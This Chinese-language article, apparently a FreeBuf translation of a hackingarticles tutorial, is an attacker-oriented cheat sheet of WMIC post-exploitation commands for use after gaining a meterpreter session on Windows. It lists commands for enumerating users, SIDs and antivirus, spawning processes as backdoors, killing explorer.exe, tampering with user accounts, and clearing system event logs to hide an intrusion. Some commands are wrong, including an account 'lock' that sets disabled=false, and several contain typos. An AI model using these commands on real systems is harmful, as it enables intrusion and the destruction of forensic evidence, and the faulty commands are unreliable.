比CMD更強大的命令列:WMIC後滲透利用(系統命令)
寫在前面的話
在這篇文章中,我們將討論如何在攻擊的後滲透利用階段使用WMIC(Windows Management InstrumentationCommand Line)。當攻擊者在遠端PC上拿到meterpreter會話之後,他們就可以列舉大量的系統資訊,並利用WMI命令列工具來進行更深程度的操作。
首先,我們會介紹如何拿到遠端PC的meterpreter會話。拿到會話之後,我們還會告訴大家如何提權至管理員許可權。
WMIC命令列可以通過Windows CMD來訪問,直接在meterpreter shell中輸入“shell“即可。接下來,我們一起看一看WMIC命令以及相應的工作機制。
WMIC
下面這個命令可以檢視WMIC命令的全域性選項,WMIC全域性選項可以用來設定WMIC環境的各種屬性,通過結合各種全域性選項以及引數,我們就可以通過WMIC環境來管理整個系統了。
wmic /?
獲取系統角色、使用者名稱和製造商
銅鼓WMIC命令的作業系統指令,我們可以枚舉出大量關於目標系統的資訊,包括主機名、域名、製造商以及裝置型號等等。
我們還可以新增下列過濾器來獲取更精準的掃描結果:
Roles:它可以給我們提供目標裝置在整個網路系統中所扮演的角色,例如工作站、伺服器或個人PC等等。
Manufacturer:它可以給我們提供目標系統的製造商和裝置型號,因為某些特定製造商所生產的特定型號裝置會存在特定的漏洞,因此我們可以利用這部分資訊來尋找存在漏洞的裝置。
UserName:它可以給我們返回系統的使用者名稱,我們可以利用這部分資訊來區分誰是管理員誰是普通使用者。
[/format:list]:以列表格式輸出資料並排列。
wmic computersystem get Name, Domain, Manufacturer, Model, Username, Roles/format:list
獲取SID
為了枚舉出SID,我們需要用到WMIC的group選項:
wmic group get Caption, InstallDate, LocalAccount, Domain, SID, Status
如下圖所示,我們已經查詢到了賬戶名、域名、本地組成員狀態、SID以及相應的狀態:
建立一個程序
WMIC命令的process選項可以幫助我們在目標使用者的系統中建立各種程序。這種功能可以幫助我們建立後門,或佔用大量目標系統的記憶體:
wmic process call create “[Process Name]” wmic process call create “taskmgr.exe”
你可以從下圖中看到,這個命令不僅會建立一個程序,而且還會賦予相應的程序ID,所以我們就可以根據我們的需要來修改程序資訊了。
注意:如果程序建立了一個類似工作管理員和CMD這樣的視窗,那麼這條命令將會在目標系統中開啟這個視窗,這樣會引起目標使用者的懷疑。
修改程序優先順序
WMIC命令的process選項還可以幫我們修改目標系統中執行程序的優先順序,這是一個非常有用的功能。降低某個程序的優先順序可能會導致特定的應用程式發生崩潰,而提升某個程序的優先順序甚至還會導致整個系統發生崩潰。
wmic process where name=”explorer.exe” call set priority 64
終止程序
WMIC命令還可以幫我們終止目標系統正在執行的程序:
wmic process where name=”explorer.exe” call terminate
獲取可執行檔案列表
下面的命令可以枚舉出整個系統中所有可執行檔案的路徑地址:
wmic process where “NOT ExecutablePath LIKE ‘%Windows%’” GET ExecutablePath
獲取目錄屬性
WMIC命令的fsdir選項可以提取目標系統中檔案目錄的基本資訊,其中包括壓縮方法、建立日期、檔案大小、是否可讀寫、是否為系統檔案、加密狀態以及加密型別等等:
wmic fsdir where=”drive=’c:’ and filename=’test’” get /format:list’
獲取檔案屬性
WMIC命令的datafile選項可以獲取目標系統中檔案的基本資訊,其中包括壓縮方法、建立日期、檔案大小、是否可讀寫、是否為系統檔案、加密狀態以及加密型別等等:
wmic datafile where=’[Path of File]’ get /format:list wmic datafile where name=’c:\\windows\\system32\\demo\\demo.txt’ get /format:list
定位系統檔案
WMIC可以提取出所有重要系統檔案的路徑,例如temp目錄和win目錄等等:
wmic environment get Description, VariableValue
獲取已安裝的應用程式列表
wmic product get name
獲取正在執行的服務列表
獲取到正在執行的服務列表之後,WMIC還可以提供服務的啟動模式,例如“自動”、“手動”和“執行中”:
wmic service where (state=”running”) get caption, name, startmode
獲取系統驅動詳情
sysdrive選項可以枚舉出驅動的名稱、路徑和服務型別等資料:
wmic sysdriver get Caption, Name, PathName, ServiceType, State, Status /format:list
獲取作業系統詳情
os選項可以列舉出目標系統的上一次啟動時間、註冊的使用者數量、處理器數量、物理/虛擬記憶體資訊和安裝的作業系統型別等等:
wmic os get CurrentTimeZone, FreePhysicalMemory, FreeVirtualMemory, LastBootUpdate,NumberofProcesses, NumberofUsers, Organization, RegisteredUsers, Status/format:list
獲取主機板資訊和BIOS序列號
wmic baseboard, get Manufacturer, Product, SerialNumber, Version
wmic bios, get serialNumber
獲取記憶體快取資料
memcache選項可以獲取到記憶體快取名和塊大小等資訊:
wmic memcache get Name, BlockSize, Purpose, MaxCacheSize, Status
獲取記憶體晶片資訊
memorychip選項可以獲取到RAM的相關資訊,例如序列號等等:
wmic memorychip get PartNumber, SerialNumber
判斷目標系統是否為虛擬機器
我們可以根據onboarddevice選項返回的資訊來判斷目標系統到底是真實的主機作業系統,還是一臺虛擬機器(VMware或Virtual Box):
wmic onboarddevice get Desciption, DeviceType, Enabled, Status /format:list
使用者賬號管理
鎖定使用者賬號
我們可以使用useraccount選項來鎖定本地使用者賬號:
wmic useraccount where name=’demo’ set disabled=false
使用者賬號重新命名
wmic useraccount where name=’demo’ rename hacker
限制使用者修改密碼
我們還可以限制本地使用者的密碼修改操作:
wmic useraccount where name=’hacker’ set passwordchangeable=false
獲取反病毒產品詳情
我們可以枚舉出目標系統安裝的反病毒產品資訊,包括安裝位置和版本:
wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe
清理系統日誌
WMIC命令的nteventlog選項還可以清除系統的日誌記錄,當你入侵了某個系統之後,這個命令可以幫助你掩蓋攻擊痕跡:
wmic nteventlog where filename='[logfilename]’ cleareventlog wmic nteventlog where filename=’system’ cleareventlog
*參考來源: ofollow,noindex" target="_blank">hackingarticles ,FB小編Alpha_h4ck編譯,轉載請註明來自FreeBuf.COM